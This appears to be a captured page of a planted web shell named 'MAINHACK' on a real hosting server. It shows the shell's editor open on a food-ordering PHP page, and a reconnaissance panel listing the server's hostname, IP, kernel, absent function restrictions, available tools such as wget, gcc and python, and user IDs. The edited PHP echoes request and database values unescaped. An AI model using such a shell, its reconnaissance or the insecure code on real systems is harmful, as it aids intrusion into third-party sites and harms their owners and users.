[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: food-single01.php
<?php include('header.php'); $mid=base64_decode($_REQUEST['makid']);?> <!-- BANNER --> <div class="banner-inner"> <img src="images/inner-banner.jpg" alt="" class="banner-img"> </div> <?php $sq=$show->readwithdata('food_maker','maker_id',$mid); $num1=$sq->rowCount(); if($num1>0){ while($row=$sq->fetch(PDO::FETCH_ASSOC)){ $title=$row['title']; $mname=$row['name']; $description=$row['description']; $banner=$row['banner']==''?'noimg.png':$row['banner']; $profile_pic=$row['profile_pic']==''?'noimg.png':$row['profile_pic']; $comission=$row['comi_percent']; $open=$row['open_close']; }} // echo $mid; ?> <!-- food-single --> <script> function maker_category(val){ var maker_txt="#maker_cat"+val; var cat=$(maker_txt).val(); //alert(cat); var maker_id='<?=$mid?>'; var open='<?=$open?>'; $.ajax({ type:"POST", url:"ajax_check.php", data:"maker_category="+cat+"&maker_id="+maker_id+"&open="+open, success: function (response){ // alert(response); // window.location.reload(); $('#search').html(response); $('#all').hide(); } }); //alert(cat); } function runMyFunction(){ swal('Added to Cart'); } </script> <div class="food-single"> <div class="container"> <div class="title-section Kitchen-text" data-aos="fade-down" style="transition:all 1400ms ease-in-out;"> <!--<p class="w3ls-title-sub"> <?=$company_name?> </p>--> <h3 class="w3ls-title"><?=$title?></span></h3> </div> </div> <div class="container"> <div class="row"> <div class="col-md-8 col-sm-8 col-xs-12" data-aos="fade-down" style="transition:all 1600ms ease-in-out;"> <div class="food-single-box"> <div class="food-single-box-img"> <img src="<?=$pic_img?>/<?=$banner?>" alt="single-img"> <img src="<?=$pic_img?>/<?=$profile_pic?>" alt="" class="use-icon-top2-img"> </div> <h4>By <?=$mname?></h4> <h5><?=$description?></h5> </div> </div> <div class="col-md-4 col-sm-4 col-xs-12" data-aos="fade-down" style="transition:all 1600ms ease-in-out;"> <?php // echo $uid; $count=1; $sr='gallery'; $stmt =$show->readwithdata_clause($sr,'maker_id',$mid,'limit 5'); $num = $stmt->rowCount(); if($num>0){ while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ ?> <div class="food-single-photo"> <img src="<?=$pic_img?>/<?=$row['images']?>" alt="single-img"> </div> <?php } } ?> <div class="food-single-photo" style="background: #013246; text-align: center;"> <a href="gallery.php?mid=<?=$mid?>" class="view-more-food">View more</a> </div> </div> </div> <div class="row" data-aos="fade-down" style="transition:all 1500ms ease-in-out;"> <div class="col-md-3 col-sm-3 col-xs-4" style=" "> <div class="tab-left" style=""> <h3>Recommended :</h3> <ul> <?php $count=1; $table1='category'; $stmt1=$show->readwithdata('maker_category','maker_id',$mid); $num1=$stmt1->rowCount(); if($num1>0){ while($row1=$stmt1->fetch(PDO::FETCH_ASSOC)){ echo "<input type='hidden' value='".$row1['category']."' id='maker_cat$count'> "; // echo "<option value='".$row1['category']."'";if($row['category']==$row1['category']) echo "selected"; echo ">".$row1['category']."</option>"; } echo" <li><button type='button' onclick='maker_category($count)' >".$row1['category']."</button></li>"; ++$count; ?> <?php } } ?> </ul> </div> </div> <div class="col-md-9 col-sm-9 col-xs-8 mob-problem-bg" style=" background: #e9e9e9; padding:15px; border-radius: 10px;"> <ul class="nav nav-tabs"> <li class="active"><a data-toggle="tab" href="#home">Order Online</a></li> <li><a data-toggle="tab" href="#menu1">Reviews</a></li> <li><a data-toggle="tab" href="#menu3">Photo</a></li> </ul> <div class="tab-content" style=""> <div id="home" class="tab-pane fade in active"> <div id="all"> <?php $sq1=$show->readwithdata_clause('menu_items','maker_id',$mid,' and status="ACTIVE"'); $num11=$sq1->rowCount(); if($num11>0){ while($row=$sq1->fetch(PDO::FETCH_ASSOC)){ $s ?> <form method="post" class="index-add" action="food-single.php?makid=<?=base64_encode($mid)?>&menu_id=<?=$row['menu_id'];?>&action=add&code=<?=$row['menu_id']?>&price=<?=$row['price']?>"> <div class="all-recommended"> <div class="all-recommended-show"> <div class="lt-recommended-icon"> <img src="<?=$pic_img?>/<?=$row['image']?>" alt="reviews-man"> </div> <div class="lt-recommended-text"> <div class="veg-non"> <?php if($row['type']=="Veg"){ ?> <img src="images/veg-icon.png" alt="veg" class="veg-icon"> <?php }else{ ?> <img src="images/non-veg-icon.png" alt="veg-non" class="veg-icon"> <?php } ?> </div> <h4><?=$row['name']?></h4> <h6><b>Rs : </b> <?=$row['price']?> /<small>Serves: <?=$row['serves']?></small></h6> <input type="hidden" name="img" value="<?=$row['image']?>"> <input type="hidden" name="quantity" value="1"> <input type="hidden" name="product_name" value="<?=$row['name']?>"> <input type="hidden" name="price" value="<?=$row['price']?>"> <input type="hidden" name="code" value="<?=$row['menu_id']?>"> <input type="hidden" name="serves" value="<?=$row['serves']?>"> <input type="hidden" name="comisn" value="<?=$comission?>"> <?php if($open!="OPEN"){?> <button type="button" class="button" disabled>Kitchen is not Open</button> <?php }else{?> <input type="submit" value="Add to Cart" name="submit" class="button" onclick="runMyFunction();return true"> <?php } ?> </div> </div> </div> </form> <?php } } ?> </div> <div id="search"></div> </div> <div id="menu1" class="tab-pane fade"> <h3>Reviews</h3> <div class="all-reviews"> <?php // echo $uid; $count=1; $sr='review'; $sq1 =$show->readwithdata_clause($sr,'maker_id',$mid,' and status="ACTIVE"'); $num = $stmt->rowCount(); if($num>0){ while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ ?> <div class="all-reviews-show"> <div class="lt-box-icon"> <img src="images/test-ion02.png" alt="reviews-man"> </div> <div class="lt-box-text"> <h4><?=$row['name']?></h4> <li><img src="images/star<?=$row['rating']?>.png"></li> <p><?=$row['review']?>.</p> </div> </div> <?php } }else { echo "<h5>No Ratings/ Reviews available.</h5>";} ?> </div> </div> <div id="menu3" class="tab-pane fade"> <h3>Gallery</h3> <br> <div class="food-tab-photo"> <?php // echo $uid; $count=1; $sr='gallery'; $stmt =$show->readwithdata($sr,'maker_id',$mid); $num = $stmt->rowCount(); if($num>0){ while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ ?> <img src="<?=$pic_img?>/<?=$row['images']?>" alt="single-img"> <?php } }else { echo "<h5>No Images Available.</h5>";} ?> </div> </div> </div> </div> </div> <br><br> </div> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619